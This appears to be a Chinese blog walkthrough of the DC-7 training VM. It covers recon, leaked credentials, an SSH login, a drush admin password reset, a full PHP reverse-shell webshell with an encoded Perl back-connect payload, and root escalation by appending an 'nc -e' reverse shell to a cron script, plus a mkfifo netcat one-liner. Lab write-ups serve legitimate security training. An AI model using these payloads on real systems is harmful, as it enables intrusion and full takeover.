当前位置:网站首页>DC-7靶场下载及渗透实战详细过程(DC靶场系列)
DC-7靶场下载及渗透实战详细过程(DC靶场系列)
2022-08-10 22:11:00 【金 帛】
目录
DC-7靶场下载地址https://www.five86.com/downloads/DC-7.zip
一. 信息收集
1. 主机扫描
arp-scan -l
2. 端口扫描
3. 目录扫描
扫了半天也没扫出个有用的
4. 信息探测
提示我们跳出思维惯性,换种方法进行渗透,可以发现下面有个@DC7USER
搜索发现,源码泄露了,而且是官方泄露的
二. 渗透过程
1. 代码审计
废话不多说,先查看github上的源码
在配置文件里发现了个账号
dc7user:MdR3xOgB7#dW
2. ssh远程登入
测试发现登不进后台,但是能登进ssh
ssh [email protected]
探索过程中发现个文件,这里好像还不能提权
cat mbox
发现了个root用户的定时文件backups.sh,接下来看一下文件权限
ls -la
-rwxrwxr-x
root用户及其组用户(www-data)可以写入读取执行·,但其他用户没有写入的权限,这里可以作为提权的一个突破口
想写入东西反弹root的shell的,但是没有权限(我就知道没那么简单),不管了,先去瞧瞧里面写有啥
cd /opt/scripts
cat *
发现了个drush命令,这个是drupal专属的一个操作系统命令,参考Drupal drush 常用命令
3. drush修改密码
这个命令需要先切换到drupal的目录
cd /var/www/html
通过命令我们发现了个管理员账号admin
drush user-information admin
接下来修改admin的密码
drush upwd admin --password="passwd"
接着我们登入管理员后台/user/login
登入成功
4. 反弹shell
进入了后台,想办法写个马进行反弹shell
找到了编辑文件的地方,但是没有PHP解释器,但是在扩展里可以安装
PHP解释器Drupal官方连接
https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz
填入连接后点击安装
文件下载完成,接着启动PHP编辑器
安装完成后在内容编辑的地方出现了PHP code
,接着我们添加php代码
写入PHP反弹shell
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while([email protected]($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if([email protected]($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP"; #监听ip
$yourport = 'your port'; #监听端口
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
点击保存后会自动执行该PHP代码,先监听端口再保存
nc -lvp 6666
反弹shell成功,升级交互shell
python -c "import pty;pty.spawn('/bin/bash')"
5. 提权
之前的提权方法都没有用,接下来我们利用root的定时任务进行提权
我们可以写个反弹shell的命令下去
echo "nc -e /bin/bash 192.168.120.129 5555" >> /opt/scripts/backups.sh
写入成功,先监听端口
nc -lvp 5555
接下来只要等待backups.sh文件定时root权限执行就好了
提权成功!
cat /root/*
拿到flag
三. 收获总结
1. 信息收集
信息收集很关键,要善于利用搜索引擎,搜索关键词并寻找突破口
2. Linux文件权限
3. 定时任务Cron
crontab -l #查看定时任务
4. linux反弹shell新姿势
有些操作系统的netcat不支持-e参数,这时候可以利用管道符命令mkfifo配合nc进行反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [监听IP] [监听PORT] >/tmp/f
边栏推荐
- H3C S5130 IRF做堆叠
- port forwarding
- "DevOps Night Talk" - Pilot - Introduction to CNCF Open Source DevOps Project DevStream - feat. PMC member Hu Tao
- BM13判断一个链表是否为回文结构
- 边缘与云计算:哪种解决方案更适合您的连接设备?
- Shell编程规范与变量
- BM13 determines whether a linked list is a palindrome
- 美味的石井饭
- 诺诚健华通过注册:施一公家族身价15亿 高瓴浮亏5亿港元
- How to secure users in LDAP directory service?
猜你喜欢
QT笔记——用VS + qt 生成dll 和 调用生成的dll
高通平台开发系列讲解(应用篇)QCMAP应用框架介绍
camera preview process --- from HAL to OEM
How to be a Righteous Hacker?What should you study?
边缘与云计算:哪种解决方案更适合您的连接设备?
【640. 求解方程】
艺术与科技的狂欢,阿那亚2022砂之盒沉浸艺术季
How does the Weiluntong touch screen display the current value of abnormal data while alarming?
Regular expression of shell programming and text processor
测试4年感觉和1、2年时没什么不同?这和应届生有什么区别?
随机推荐
Use Cloudreve to build a private cloud disk
[SQL brush questions] Day3----Special exercises for common functions that SQL must know
罗克韦尔AB PLC RSLogix5000中计数器指令使用方法介绍
Addition of linked lists (2)
A shell script the for loop statements, while statement
An article to teach you a quick start and basic explanation of Pytest, be sure to read
新一代网络安全防护体系的五个关键特征
Pro-test is effective | A method to deal with missing features of risk control data
Distribution Network Expansion Planning: Consider Decisions Using Probabilistic Energy Production and Consumption Profiles (Matlab Code Implementation)
交换机和生成树知识点
Black cat takes you to learn Makefile Part 12: Summary of common Makefile problems
文件IO-缓冲区
瑞幸咖啡第二季营收33亿:门店达7195家 更换CFO
如何成为一名正义黑客?你应该学习什么?
August 10, 2022: Building Web Applications for Beginners with ASP.NET Core -- Creating Web UIs with ASP.NET Core
JS中使用正则表达式g模式和非g模式的区别
德科立科创板上市:年营收7.3亿 市值59亿
APP UI自动化测试常见面试题,或许有用呢~
解码2022中国网安强星丨正向建、反向查,华为构建数字化时代的网络安全防线
Spark基础【RDD转换算子】